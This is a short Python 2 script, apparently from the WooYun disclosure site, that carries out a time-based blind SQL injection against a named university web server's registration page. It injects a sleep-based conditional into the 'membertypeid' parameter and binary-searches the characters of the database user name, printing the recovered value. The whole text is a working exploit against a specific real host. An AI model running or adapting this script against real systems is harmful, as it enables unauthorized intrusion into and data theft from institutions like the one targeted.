WooYun.org

#coding=utf-8 
import sys,urllib2 
from optparse import OptionParser 
from urllib2 import Request,urlopen,URLError,HTTPError 
import urllib
import time 
result='' 
def request(URL): 
    #print URL 
    user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' } 
    req = urllib2.Request(URL, None, user_agent)  
         
    try: 
        request = urllib2.urlopen(req,timeout=4) 
         
    except Exception ,e: 
        time.sleep(2)
        return 'timeout' 
         
    return request.read() 
def binary_sqli(left, right, index): 
   global result 
   while 1: 
        mid = (left + right)/2 
        if mid == left: 
            result += chr(mid) 
            print result 
            break 
        payload = "if(ascii(substring(user(),"+str(index)+",1))<"+str(mid)+",1,sleep(2))" 
        html = request('http://wybjpkc.henu.edu.cn/regform.php?membertypeid=12%20where%201%20and%20'+payload+'') 
        verify = 'timeout' 
        if verify not in html: 
            right = mid 
        else: 
            left = mid 
                   
if __name__ == '__main__': 
    for i in range(1,50): 
        binary_sqli(32, 127, i)